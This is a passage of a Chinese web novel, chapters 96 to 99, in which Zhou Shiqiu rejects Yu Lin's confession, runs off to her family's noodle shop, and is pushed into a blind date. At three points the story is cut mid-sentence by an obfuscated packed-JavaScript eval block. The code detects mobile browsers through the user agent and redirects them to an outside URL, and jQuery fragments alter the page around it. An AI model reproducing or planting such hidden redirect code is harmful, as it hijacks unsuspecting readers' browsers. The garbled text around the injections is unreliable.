不存在爱情的关系,能持续多久?等到欲望消减后,她要硬撑着面对伴侣和家庭吗?或许退出才是肖蕾认为最好的选择,是对两人感情的负责。 至少周拾秋是这样认为的。 黎浩哲深吸一口气,稍微平静后,才继续说下去:“她甚至还说,跟她交往的人其实换谁都没差。我是真的无话可说了……后来,她就从我的世界彻底消失了。没过多久,我就听说了她被进研所逮捕的消息。或许因为我们的关系很隐秘,进研所都没来调查我……” 大概在这一段感情里受了挫,此后一年黎浩哲再未开启下一段感情。 上次再见到庾林,黎浩哲突然想通了。 他所追求的爱情是一种近乎纯粹的感情寄托、精神恋爱,无关乎欲望。无论是和观念不同的人浪费彼此时间,还是妥协迁就共度余生,这都有悖初衷。 于是,他决定定制一个仿生人,拥有肖蕾外表,性格则是对他千依百顺的小绵羊。 明确了黎浩哲的想法后,庾林带着周拾秋离开了工作室。 在返回庾林公寓的路上,周拾秋忍不住问:“你说,肖蕾当真只是因为本能与欲望选择了黎浩哲吗?” 庾林说:“现在没人能知道答案了,肖蕾已接受人格改造,就是有读心能力,也看不出答案。” “哦……”周拾秋沉默了。 今日的工作让她心情很糟糕,肖蕾的情况让她联想到了自己。 会不会她与肖蕾其实是同一种人呢? 96. 第096章 回到公寓,庾林没有让周拾秋立即下班,而是留她在家里吃饭。周拾秋想起,庾林说过今日忙完工作,会谈心病之事,便心安理得地留了下来。 一进屋子,康管家就忙碌起来,被庾林安排着晚餐的准备事宜。 周拾秋闲着无事,便在房子里转悠。 天花板和墙上那些碍事的电线已经被清理干净,就是装饰用的鲜花让周拾秋觉得有些可惜,还没好好看上一眼,就被全部清理掉。 转着转着,就看到了客厅角落里摆放的一大捧花束。 紫罗兰与白玫瑰的搭配,白色与紫色的碰撞,低调内敛,温柔至极。 周拾秋翻看着花叶,基本可以判断这束花不是今日刚刚送来的,怎么着也摆了有一天的样子。 “昨天送来的生日礼物吗?”周拾秋嘴里小声嘀咕着。 花束的花语是圣洁的爱,能送这样花束给庾林,真的只是单纯的生日祝福吗?周拾秋表示质疑。 偷偷瞥了一眼还在跟康管家商议菜品的庾林,周拾秋心里有些不是滋味。 难怪赖上她,要她解决心病和异能的问题,难怪这么想回归正常生活,又是自律健身,又是装饰房间,甚至还不停接项目赚钱。 原来,一切都是为了某人。 这人会是谁? 她见过吗? 什么时候认识的? 知道庾林的心病吗? 就算知道也不放弃吗? 难道两人已经约定好,努力摆脱限制,拥抱彼此? 所以桑云海只是个烟雾弹,正主另有其人? …… 无数的疑问如骤雨般降临,嘈杂地在脑海中响个不停。 心中莫名燃起一簇怒火,连周拾秋自己都不知道怎么回事,也许是不喜欢被人当工具,又或者觉得庾林不够坦诚。 她如此自我解释,却又觉得自己似乎没有立场生气,一时有些茫然…… “这花……不太新鲜了,正准备让康管家扔了。” 庾林不知何时出现在她身后,抱起花束就往门外走,表情有一丝慌乱。 “这么快就扔了?太浪费了吧!送花的人要知道了,不得多想?”周拾秋试探道。 庾林脚步一顿,疑惑地回头看了一眼,“我自己买的……” 哦,原来不是别人送的,是买来送人的。 “就这么扔了,不送了?”周拾秋又问。 “不新鲜了,就这么送人,不好。”庾林看着怀中花束有些迟疑。 周拾秋眼珠一转,笑着迎上前,厚着脸皮说:“既然你要扔了,那不如送给我吧!就这么扔了,怪可惜的,我拿回去插花瓶里养两周,多余的做成干花也不错。” “……” 庾林看着周拾秋摊开手索要花束,一时有些发懵。 周拾秋见状,猛地拍了拍庾林肩膀,嘴里唠叨:“别这么小气嘛,以后你要送花直接找我,我还能算你友情价,肯定比其他店划算,而且,我们还提供免费送货上门呢!” 如果让庾林到她家花店订花,说不定就能知道对方是谁了。 “哦……” 庾林还没回过神,花束已经莫名其妙到了周拾秋怀里,一大捧花,差点连她的脸都挡住了。 一张笑脸半掩在花丛后,就像白捡了什么宝贝似的,傻乐。 看得庾林一时晃了神,等他回过神时,周拾秋已经小心翼翼将花束搁在玄关处,方便离开时带走。 庾林哭笑不得,也不知这算不算送出手了。 傍晚时分,晚餐准备完毕,周拾秋和庾林坐在餐桌上,除了满桌的美味,还有几根蜡烛被摆在精美的烛台上,摇曳的火焰让气氛变得微妙。 庾林静静看着周拾秋,手轻轻摇晃着酒杯,询问着菜是否合胃口。 周拾秋只觉后背凉风阵阵,有些不好意思地打断道:“菜不错,就是太暗了,跟演鬼片一样……也不用这么节约用电吧?感觉吃什么都看不清,要不开个灯?” 手里的酒杯差点被庾林甩飞出去。 庾林不语,无奈地让康管家开灯,又气恼地吹熄了所有蜡烛。 这顿饭总算变得正常,周拾秋大快朵颐,只是庾林似乎有些挫败沮丧,垂眼看着一桌美食,全程没动几筷子。 等到吃得差不多了,周拾秋才拍着肚皮问道:“你心病的事,打算什么时候聊聊?” 庾林让康管家将餐桌收拾干净,仅留下那瓶红酒和酒杯。他猛灌了一杯酒,才终于下定决心,一脸严肃地开了口。 “你应该知道,这心病始于五年前,各种心理治疗手段都试过,并无改善。” “嗯嗯。”周拾秋一副洗耳恭听的模样,“所以,是诅咒,还是心理障碍,你有头绪了?” 庾林:“也许都不是。” 这句话让周拾秋糊涂了,困惑地看着庾林,等待他作出解释。 心病一事,不管是周拾秋,还是庾林的亲人,他们知道的都只有庾林不能与异性接触,任何肌肤接触都会引发心脏超负荷。 可有一个秘密,一直藏在庾林心底,从未告诉过其他人。 每当与异性接触时,他脑海中总会出现一个声音。 ——“这是对你的惩罚!” 多少次,他以为只是濒临死亡时的幻听,可那声音深深地刻进了记忆里,如死神低语,令他惶恐不已。 唯一的例外却是一个多月前。 周拾秋带着满眼的杀意出现在他面前,用异能将他捆绑,带着挑衅拍打着他的脸颊。那一刻,他以为逃不掉死亡的追逐了,可那个熟悉的声音再度响起,内容却不一样了。 ——“你属于她。” 那是五年来第一次没有死亡的威胁。 明明眼前的女人想杀了他,可难以言喻的喜悦却盖过了心底的恐惧。 而后他努力想要弄清,周拾秋于他而言为何是个例外。 直到听说周拾秋的异能值与夜白鹭高达99.99%相似,再到看见周拾秋眼中的那场大火与自己,最终确认了周拾秋的身份。 他回想起五年前在大火中首次遇见夜白鹭时的情形。 张婶试图将一切付之一炬,没有给他留下任何生路。本已陷入绝境,可顶着张婶的脸出现在他面前的危代人,伸手抚摸着他的脸颊,不紧不慢地说: “如果你愿意做我男朋友,我不介意顺便救你一命。” 他既疑惑,又震惊,可求生的欲望很快便淹没了所有情绪。 这样的条件,在死亡面前,根本不值一提。 他毅然决定点头答应,那人却用手指抬起他的下巴,用最灿烂的笑脸对他说: “但你不能喜欢我哦,否 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15153307|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 则你会死。” 他其实并不明白那个危代人的想法,正值困惑之际,那人却轻揉着他凌乱的头发,带着玩味的笑宣布: “从现在起,你属于我了。” 记忆愈发清晰,庾林逐渐有了一种新的想法——这心病会不会是对他违约的惩罚? 听完庾林一脸认真的讲述,周拾秋惊得合不拢嘴,捧腹大笑两声道:“那不过是年少无知时的玩笑话,你咋还当真了呢?” 可周拾秋的嬉皮笑脸,迎来的是庾林的郑重其事。 “嗯,我当真了。”他说。 气氛忽然变得严肃起来,周拾秋收敛笑意,错愕地问:“你不会是喜欢我吧?” “嗯,现在可以允许我喜欢你吗?” 依然是最直白的回答,搭配上庾林一本正经不苟言笑的脸,让这场表白看上去实在硬得不行。 周拾秋:“你是在跟我表白?” 庾林:“嗯,所以你愿意做我女朋友吗?” 周拾秋:“你……表白哪有这样的?什么准备都没有吗?” 庾林:“你希望我准备什么?” 周拾秋:“呃……至少准备束花吧?” 庾林:“你刚才不是收下了吗?” 周拾秋:“啊?” 一道选择题倏然摆到了周拾秋面前,让她以一种毫无防备的姿态应对。 要答应吗? 她似乎五年前就给出了答案,人是她选的,若要她拱手让人,她心有不甘。 可她真的喜欢庾林吗? 那也未必。 喜欢是喜欢的,可仅仅针对庾林这副皮囊,至于其他,她会觉得麻烦。 周拾秋沉默许久也没能给出答案,让庾林的心不住地往下沉,似要沉入海底。而这结果与他预想的一般无二,只是亲身经历,更觉伤心。 沉默中,周拾秋忽而站起身,蹙眉凝视着庾林,咬了咬唇,艰难开口问:“我……我能先验验货吗?” “什么?” 这回轮到庾林错愕了。 他永远无法预测周拾秋的想法,纵然能看见周拾秋眼底的欲望,可那些本能的欲望总与周拾秋的行为背道而驰。 她知道对他只是欲望驱使,所以她极力回避。 此刻她又想唱哪一出? 不是拒绝,也不是答应,眼中满是疑惑的情绪。 庾林还没回过神,周拾秋已经绕过餐桌走到了他身旁,一只手扶着椅背,一只手抵在桌面,将庾林困在身前。 “不给验吗?” 周拾秋声音突然放轻,眼睛里倒映出庾林的脸。 被一个小女孩的攻势逼得溃不成军,让庾林窘迫而羞愧,自嘲般笑了笑,再抬眼,已决心夺回主导权。 他一脸淡定地坐在椅子上转了个身,一只腿强势打乱了敌方阵型,一手揽上周拾秋的腰,轻轻往前一带,便将人拉到腿上坐下。 原本咄咄逼人的敌方将领,顿时乱了心神,眼中慌乱之色,跟着脸上的红晕一同溢了出来。 庾林微微勾起唇角,没有展开下一轮攻势,而是将主动权再次移交给对手。他微微抬起下巴,游刃有余地询问:“你打算怎么验?” 周拾秋此刻又急又恼,感觉形势瞬间颠倒,原本想借着千载难逢的机会,捉弄一下庾林,顺便占点便宜,没想轻敌了。 97. 第097章 犹如一场博弈,谁都不愿在对方面前露怯,纵然心跳加速激起一丝微妙的反应,却依然要故作镇定,伪装成棋盘的操控手。 微微升高的室温,带着点红酒的味道,在空气中弥漫四散。 屋外似乎又下起雨来,飞溅的雨珠撞上窗玻璃,化身一片湿润,汇聚,滑落,留下一行从此经过的痕迹。 一杯红酒猛然灌入嘴里,顺着喉咙缓缓咽下,一抹深红溢出唇角,逃离,滴落,在胸口绽放出一朵嫣红的花。 借着酒意,急促的呼吸交融,试探,挑战着对方忍耐的极限。 周拾秋觉得大抵是犯罪基因动了,才让她想要顺从本能的反应,于是她大胆地触碰,感受着手心下滚烫与跳动。 轻轻触上那份柔软与温润,一切终于脱离了控制。 意识交换,让他们早已彼此熟悉,可真实的触碰却是完全不同的感觉,更为刺激浑身的细胞与神经。 周拾秋甚至忘了该怎么呼吸,一口气憋到了极限,直到推开庾林,她才深吸一口气,缓缓吐出,抑制住躁动不已的心跳。 耳边传来低沉的笑声,一个轻柔的吻落在她的耳垂,庾林轻微沙哑的嗓音敲击着她的耳膜。 “不用着急,你可以慢慢验。” 意味深长的话撩拨着周拾秋本就凌乱不堪的心,被拿捏的羞涩冲击着她的理智,令她莫名有些气恼。 周拾秋揪着庾林的衣领,往身前一拉,微微偏头迎上前,一口咬住了庾林的颈侧。 多少有些用力,只听庾林哼了一声,周拾秋眼底露出餍足的笑意,轻推开庾林,起身,抽离。 只留下庾林一脸困惑地坐在原地,摸着脖子,问:“这也是你验货的方式?” “不,这是退货。”周拾秋不客气地回答。 庾林有些错愕,盯着周拾秋半晌,不知该作何反应,沉默了许久,才像是遭受了打击一般,消沉地问:“你不愿意做我女朋友?可以告诉我原因吗?” 周拾秋从没见过这样的庾林,现在的他就像快碎掉的玻璃人偶,透着一股敏感脆弱的破碎感。 哪存在什么验货这种离谱的程序,周拾秋不过对自己进行了测试,然后她愈发可以肯定,她对庾林的喜欢,更多出自欲望。 这样当真算喜欢吗? 庾林对她又是因为喜欢吗? 听庾林的描述,更多的可能性难道不是一种被死亡威胁的妥协吗?当其他人都成了毒药时,就算是原本并不喜欢的饮品,也能让他甘之如饴。 这或许就是她与庾林之间的感情。 或许她跟肖蕾一样,本就缺乏爱人的能力。就算现在答应庾林,过段时间,她也跟肖蕾一样厌弃逃离了呢? 这种关系,她并不想要。 虽然扔掉送到嘴边的美味很可惜,但这算是她对庾林最后的仁慈。 “没什么原因,我不是说过别喜欢上我吗?我一开始就没打算对你负责。那种玩笑话你也没必要当真。” 周拾秋平静地说出残忍的话。 庾林苦笑:“拒绝得这么坚定?我还期待你能像对其他人那样,没有任何顾虑,想得简单些……” “不是你教我的吗?保持清醒,别随便答应别人的交往请求。”周拾秋回答。 庾林一时语塞,没想到劝诫的话全在自己身上奏效了,何其可笑。 屋外的雨越下越大,连带着屋内的温度骤然冷却,庾林垂着头,一时不知还能说什么话挽回,终是叹了口气。 他抬起眼,眼神沉静如海,轻言细语:“那要当我没说过吗?继续做我的协议危代人就好。” 这是他唯一能想到将周拾秋留在身边的理由了。 “你被那伙罪犯盯上的事,我肯定不会坐视不理,你可以放心,戴好手环,有任何危险,我都在!” 周拾秋犹豫着上前一步,伸手拍了拍庾林的手背,似是安慰。 庾林说:“你知道我不是这个意思。” “昂!我知道。”周拾秋闻言立即收回手,有些局促地站在庾林面前,莫名忐忑不安,“所以其他的委托我没法帮忙了,钱我会还给你,异能和心病的问题我会再想办法……” 听着周拾秋故作淡定的解释,庾林的心沉到了谷底。 “你现在是在跟我切割?” “你家里人也不希望你跟守旧者有关系。” “我不是庾家少爷,只是庾林,没人能左右我的想法。” “哦,但我不喜欢被理想者蛐蛐。” “这才是你的顾虑吗?我可以……” “不,这些理由也许你更容易接受些。” “……” 正如周拾秋所言,她可以找许多理由拒绝,但不管她用哪种理由,事情的结果本质并没有改变。 “对不起,我不是普通守旧者,而是进化者,没法答应你。” 周拾秋说完这句话,不等庾林再说什么,转身离开。 走到玄关时,看到那束硬讨来的花,觉得有些下不去手,可留下又觉得可惜。愣在原地好一会儿,最终还是选择了抱走。 输在“钱”字上,周拾秋很是服气。 当周拾秋将庾林表白的事说给齐绮听时,齐绮大为震惊。 她没想到自己的猜测居然对了,而对于周拾秋的决定,她不好评价。 站在守旧者角度,这种身份与观念的差异,总会带来各种问题,像周拾秋这种冲动性子,她很担心会有失去理智的行为。 “不过,你确定不喜欢庾先生吗?”齐绮有些担忧地问道。 以她对周拾秋的了解,于感情而言,周拾秋恐怕判断不清,否则当初也不会轻易答应郑常新。 这次拒绝得这么决绝,会不会又走另一种极端? 周拾秋理直气壮地回答:“不确定。” 齐绮哭笑不得,问:“你就不怕后悔?” 周拾秋一脸严肃回答:“后悔,我还得把200万还给庾木木。” 因为她这句玩笑话,齐绮无情地将她追得东躲西藏,一副不揍她一顿不会善罢甘休的气恼模样。 当天,周拾秋便依言将续约的200万尽数退还到庾林的账户,然后对庾林没有营养的询问视若无睹。 从这天起,庾林不再强迫她这位已经扬言离职的秘书工作,委托任务也就此停止。但庾林并没有就此死心,他似乎想出了一种新的方式,怒刷存在感。 第二天起,龛云路的花店里多了一位学徒。 每天早上周拾秋和齐绮一开店门,就会发现这位学徒早早候在了店门外,手里还提着大袋小袋的早餐。往花店里一站,直到花店关门才离开。 这位学徒除了给齐绮打下手,还负责花店两位师父的一日三餐。 庾林从不主动招惹周拾秋,却无时无刻不在她眼皮底下晃悠,这让周拾秋大为光火。 于是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15158166|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周拾秋不客气地对齐绮说:“就我们店这生意规模,还不至于需要多招一个店员吧?本来盈利就不多,还要多支付一份薪水,有必要吗?” 齐绮指了指庾林,笑道:“你说小林吗?他是花店盈利的一部分。” 周拾秋不悦地嘀咕:“小林……你们关系什么时候这么好了……哎呀,这不是重点,你在说什么呢?什么盈利的一部分,是我傻了,还是你疯了?” 齐绮说:“他来打工是付费的。” 周拾秋傻眼了,感觉庾林身上散发着付费玩家的光芒。 从利益上说服不了齐绮,周拾秋只好打感情牌。 她挽着齐绮的手,撒娇道:“哎呀,好绮绮,你别放他在店里了,我们之间的友谊不比这点收入价值更高吗?放一个对你最好的朋友图谋不轨的男人在店里,你能安心吗?” 齐绮“噗嗤”一声笑出了声,毫不留情地拆穿道:“你确定是他对你图谋不轨,不是你对他图谋不轨?” 周拾秋又败了。 这话说的确实不错。庾林出现在店里,看上去当真只忙于打杂工作。他面对周拾秋时,始终平淡如水,就仿佛那晚的事从未发生过。 真正在意的人,似乎只有周拾秋一人。 庾林接待客人时,周拾秋死死盯着;庾林陪齐绮去进货,周拾秋在店里魂不守舍;庾林亲自下厨,周拾秋藏在角落时刻监视着…… 要说谁有图谋不轨的想法,这么一看,还当真她比较可疑。 一时未能将庾林踢出她的生活,周拾秋不甘心,并且很快又找到了更合理的借口。 一位理想者天天出现在花店里,很快就引发了流言蜚语。 周拾秋见天赐良机,这天关店时,赶紧拉上齐绮,以雇主的身份约谈庾林。 “庾先生,不是我有意针对,毕竟谁会和钱过不去呢?可你的出现,已对本店造成负面影响,不少顾客因为本店雇佣理想者,而选择不再光顾。我想说什么你应该很清楚。” 周拾秋故作深沉,面带些许惋惜之情,装模作样地表演着。 庾林只是看着周拾秋的眼睛,嘴角浅浅一笑,没有任何反驳,识趣地点了点头,“明白。” 这天庾林走后,齐绮面带意味深长的笑,平展双手,拦在楼梯口,堵住了周拾秋上楼的路。 “你那么在意干嘛?一点都不像平时那个爱财如命的周拾秋了。”齐绮揶揄道。 周拾秋灵活地从齐绮胳膊下空隙钻了过去,强辩道:“我是在意花店的生意!” 齐绮笑说:“你最好是。” 周拾秋做着鬼脸,并不觉得自己针对庾林是因为在意。 “不过,庾木木居然这么简单就妥协了……”周拾秋忽然意识到这个问题,嘴里小声嘟囔。 齐绮趁机调侃:“怎么?觉得小林放弃太快了,心里不舒服?” 周拾秋气恼地捏着齐绮的脸颊,半辩解半抱怨:“我是怕他又想出什么新花样!你到底站谁那边?什么小林小林,老实交代,他花多少钱收买你了?” 两人从楼梯间一直打闹着上了二楼。 然而第二天一早,花店开门时,庾林风雨无阻地出现在店门外,并证实了周拾秋的猜想。 他换了一身守旧者的打扮,脸上洋溢着风轻云淡的笑,像个没事人一样,冲周拾秋和齐绮挥了挥手,嘴里道了声“早”。 此后花店的生意好像莫名好了许多。 98. 第098章 两周后的夜里,龛云路的花店门上贴了一张告示: “店主外出度假,歇业半月。” 而花店的两位女店主,打包好行李,开着车,驶离了涟上区。 是的,周拾秋跑了。 她各种办法用尽,也没能赶走店里的付费学徒,干脆撺掇齐绮休假,以年关将至为由,拉上齐绮回老家过年,顺便度个假。 想象着明早庾林到花店门前看见告示时的神情,周拾秋感觉自己总算赢回一局。 庾林的出现,打乱了她所有的心理预设。 他们的关系本该止于结束约定的危代人与委托人,等到连环凶案的罪犯落网,柴星曜帮她找到异能转移的线索,他们就算两清。 从今往后,各自安好。 剧情本该如此发展。 然而庾林在死缠烂打和漠视冷藏之间,选择了温水煮青蛙。而周拾秋,就是那只青蛙。 她不清楚庾林究竟带着怎样的目的,每天出现在她眼前,却又好像当她不存在。 庾林每天都在认真打杂,认真学艺,认真负责一日三餐。他甚至有时候将花店当成咖啡馆,交钱买个座,将工作带到花店处理。 但对周拾秋,却只字再未提过交往的想法。 时间一久,连周拾秋自己都迷惘了,怀疑是自作多情。可庾林时时刻刻在自己眼前晃过来晃过去,本想着两清的她,总难免生出些怪异的想法。 为了杜绝自己产生不负责的危险想法,周拾秋果断收拾包袱走人。 既然赶不走庾林,那她就自己挪窝,先避避风头。 滨山区,远离凌沪市中心城区,依山傍海,发展虽没有中心城区那么好,可胜在物价低,环境优美。 周拾秋一家负债后,便举家搬到了这里。 不过,周拾秋最近半年忙于攒钱还债,一直没空回家里看看,上回因为委托任务,倒是得了意外机会。 这次债务已经还清,她打算跟齐绮在老家住上半个月,等和家里人跨完年,再考虑花店之事。 抵达滨山区时,已近晚上10点,周拾秋将车开到了一周面馆。 恰逢面馆打烊,店里有三人。除了父母,还有一人是弟弟周予夏,他已经放假回家,正在店里帮忙。 见状,周拾秋和齐绮忙下车帮忙收拾。 父母见到周拾秋和齐绮很是惊喜,拉着两人问东问西,既担忧两人工作操劳,又害怕两人只顾赚钱不顾身体,还得操心周拾秋有没有在外面闯祸,末了再关心她俩的终生大事。 永远绕不开的现实问题,听得周拾秋唉声叹气。 好在面对长辈的唠叨,齐绮应对得游刃有余,周拾秋也乐得轻松。看着三人你一言我一语聊得热火朝天,她默不作声和周予夏一起收拾起残局。 在周拾秋看来,还是实实在在的体力劳动让人自在。 她家距离面馆不远,但两室一厅的廉价小公寓稍微挤了些。 不过周拾秋和齐绮都不是那么讲究的人,两人霸占了周予夏的卧室,将周予夏一脚踢到客厅睡沙发。 三人吵吵嚷嚷,仿佛回到了大学时代。 夜已深,喧嚣终归于平静,而躺在床上看着天花板的两人悄声聊着以后。 齐绮:“你家债也还清了,今后有什么目标?” 周拾秋:“打理好花店生意,攒钱给家里买套房子吧,三室一厅,这样就算我回家,也不会觉得挤。” 齐绮:“你和你弟难道会赖在家里一辈子?你弟早晚也会结婚,你不也会嫁人,还想着住家里呢?” 周拾秋:“我嫁人?你觉得可能吗?” 本只是随意说笑,谁知周拾秋突然自嘲起来,齐绮在黑暗中半撑起身子,坚定道:“有什么不可能?” 其实这个话题周拾秋根本不敢想。 背负着进化者这个身份,真的可以像普通人一样过一辈子吗? 她交过男友,那是为了让自己显得和别人一样,可她从未想过结婚。毕竟结婚会让另一个人强势涉足她的生活,那她的身份能隐瞒一辈子吗? 有人会不在意她是进化者,而完全接受她吗? 就算那个人可以,可那个人的家庭呢? 这实在是个令人烦躁的问题。 “嘿嘿,你是多想把我嫁出去,先解决好你自己的单身问题吧!”周拾秋将心事藏起,笑嘻嘻地开着齐绮的玩笑。 齐绮笑着回怼:“多谢关心,我家里人才不管我,更懒得催,跟你可不一样。阿姨和叔叔今天一直在跟我打听你的感情近况,我说你刚跟男友分手,感觉叔叔阿姨又有替你张罗的想法了。” “啊?” 这消息简直是晴天霹雳,周拾秋有种不好的预感。 因为进化者的身份,从小到大,父母总担心为她安排得不够到位。 大概他们觉得最妥善的安排,与最合适的选择,加上他们不断的教育与引导,能避免周拾秋发展成罪犯。 可她真的能安稳走完一生吗?她从不敢想那么远。 当周拾秋陷入胡思乱想时,齐绮话锋一转道:“我觉得你对小林很不一样,如果不考虑两区身份差异,你没想过与他交往试试吗?” 突如其来的话题让周拾秋心头一紧,开着玩笑将齐绮往床下推,嘴上说着无关痛痒的话:“要试你试,庾木木表明心意前,我才被他姐警告了,你让我往火坑里跳啊?” 齐绮轻声笑了笑,说:“我们家十秋什么时候变成怕事的人了?对理想者你就没手软的时候,我才不信你会顾虑这些呢!” 被齐绮说中了,周拾秋从没思考过,如果一段感情不被认可,不被祝福,是否该选择退出。这种烦恼只存在于普通人之间,而她,一个能控制意识的进化者,哪里存在难度? “呵呵,这么懂我干嘛,装装傻,让我随便搪塞过去不好吗?”周拾秋抱怨。 齐绮却转身摸了摸周拾秋的脑袋,叹道:“如果你没那么在意小林,我也觉得不接受挺好,毕竟,跟理想者在一起,麻烦肯定很多,特别是小林还生在那样的家庭里。” 周拾秋笑道:“我本来就不在意好吧?还有,你别总小林小林的叫,人家比你小吗?” “哈哈哈,我这么叫,你吃醋了?是吃我的醋,还是小林的?”齐绮揶揄。 “哎,你这张嘴真是……说不过你,我要睡了!” 周拾秋索性背过身去,假意睡觉,不想再跟齐绮讨论这个话题。 齐绮却对着她的背影自言自语: “要是真不在意,又怎么可能带着我连夜逃跑呢?” “如果真在意,不计后果地答应,我也是支持的。” “知道你是进化者也不在意的人,确实很难得……” “不管你做什么决定,都肯定有你自己的考虑,我无条件支持你!” 听着身后喋喋不休的说话声,周拾秋哪里还敢继续装睡,重重叹了口气,转了回去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15162631|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>在黑暗中盯着齐绮的脸,就算看不清,也能感受到视线的温柔,周拾秋心中犹豫了片刻,终是开了口:“我只是觉得,我对庾木木的感情,与他对我的感情,大概不是同一种。” “呃……这么复杂吗?”齐绮一时不知该说什么。 “哎,很复杂,我自己都想不清楚。” 周拾秋想了想,努力想要描述心中的感觉,“就比如面前有一道菜,我很喜欢,甚至如果以后吃不到了,会觉得很可惜。但对于做出这道菜的厨子,你问我喜不喜欢,我觉得两者毫无关系。” 齐绮一愣,忍不住感叹:“哇,这么抽象的吗?” “反正就是这种感觉,你要问我喜不喜欢庾木木,我不知道。但他如果在眼前出现,总让我产生奇怪的想法,所以我才会在意,才会想避开。”周拾秋嘀咕着。 齐绮问:“所以你打算就这么躲到他死心为止?” 周拾秋有些迷茫,却也想不出更好的解决手段,便道:“嗯,总之他如果联系你,你别告诉他我在哪里。” “噗,你觉得他还能追来吗?” “以防外一!” “真不知道该说你太相信他对你的执着,还是你太在意他了……” “你最好什么都别说,赶紧睡!” “是是是,我闭嘴。” 这天夜里,周拾秋做梦都梦到第二天早起一打开房门,就发现庾林坐在客厅里,她分不清自己是高兴,还是不悦。 不过第二天真的到来时,周拾秋并没有像梦中那般见到庾林。 她觉得自己一定是被庾林的表白烦到神经衰弱了,所以才会时刻紧张,担心庾林又冷不防出现在自己眼前。 这一天,周拾秋和齐绮都在面馆帮忙,周予夏则趁着寒假找了份兼职。 在面馆里的周拾秋一整日都魂不守舍,时不时便会找齐绮确认,有没有背地里跟庾林联系,并再三强调别出卖她。 齐绮被她问烦了,索性将手机塞进周拾秋手里。 然而,一整天,齐绮的手机没有收到过任何来自庾林的电话或消息,而她自己的手机也是一样。 似乎她的逃离终于让庾林死心了。 这样的日子,持续了三日。 周拾秋的生活总算回归了原本的平静,一如与庾林相见前。没有债务的压力,身边有家人和朋友相伴,在宁静的地方过上安稳的日子。 生活是回去了,可是心呢? 周拾秋竟莫名有些失落,就像是希望落空了一般,明明走上自己设想的道路,可并没有让她感觉开心。 有时候,周拾秋不禁怀疑,这是否就是齐绮所说的“觉得可惜”。 她每日神不守舍的样子,全都落在父母眼里。父母不好直接问她,便向齐绮打听。 齐绮没法说他们女儿拒绝了一个理想者的表白,干脆敷衍道:“呵呵,大概是还没有走出失恋的阴霾,你们懂的,刚跟男友分手,肯定还有些神伤。” 她这么一说,周拾秋的父母瞬间理解了。 夫妻两一合计,觉得别让周拾秋和齐绮来店里帮忙了,趁着回家的时间,好好休息,到附近游玩放松,转换心情。 于是次日,在父母强烈的反对下,周拾秋没有到店里帮忙,带着齐绮去海边玩了一天。 傍晚时分,周拾秋接到母亲电话,让她带齐绮回面馆吃完饭。 不过等她二人回到面馆时,周拾秋终于明白了父母这番安排的用意。 99. 第099章 今晚的面馆跟平时一样热闹,坐了不少到点来解决晚饭的客人。 只是有一桌的两位客人看上去有些奇怪,从周拾秋和齐绮进店起,就一直面带微笑盯着周拾秋和齐绮,看得她二人浑身不自在。 母亲见周拾秋回来,连忙冲周拾秋招手,一边找了张空桌安排齐绮坐下,又一边拉着周拾秋走到了注视着她们一举一动的两位客人面前。 “这是我女儿,周拾秋,跟她朋友在城里开花店,这几日刚回来。” 母亲热情地给那桌客人介绍着周拾秋。 “哎哟,长得真水灵!长得跟妈妈真像,都是大美人儿嘞!” 两位客人中的女人先开了口,嘴上说着客套话。 周拾秋皮笑肉不笑地假笑两声,这种不过脑的违心话真亏那女人说得出口,她都不是亲生的,怎么可能跟母亲长得像呢? “呵呵,不好意思啊,我跟我妈先聊点事。” 周拾秋说着就将母亲拉离了那张桌子,拖着母亲在齐绮那桌坐下,周拾秋才悄声质问,“妈,你干嘛呢?那俩什么人呀?” 心中隐隐觉得不对劲,但她没有明说出口,而是等待母亲的回答,小心求证。 齐绮同样看出端倪,表情尴尬地说:“阿姨,你不会是给十秋安排了相亲吧?” “妈这也是为你好!”母亲一副苦口婆心的样子,“走出一段感情的最好方式就是开启下一段感情!既然分开了,那肯定是不合适,你也别多想了,这个男孩子妈帮你看过了,挺靠谱一小伙子。” 母亲说得头头是道,周拾秋做出一脸兴师问罪的表情,转向齐绮,“怎么回事?” 齐绮略显心虚,笑道:“呵呵,阿姨也是关心你,看你最近几天就跟丢了魂儿一样。” “所以就要拉我相亲吗?”周拾秋咬牙切齿。 “有这件麻烦事想,你不就没空想别的麻烦事了嘛。”齐绮忍笑道。 周拾秋攥紧拳头,却不好让母亲知道实情,只好认栽,转头撒娇道:“哎呀,妈,我还没做好开启下一段感情的心理准备。” “那你现在准备一下。”母亲说。 “……”周拾秋一时语塞,“我还小,多陪你跟爸几年不好吗?” “相亲又不是结婚,你想得有点远了。”母亲回。 “……” 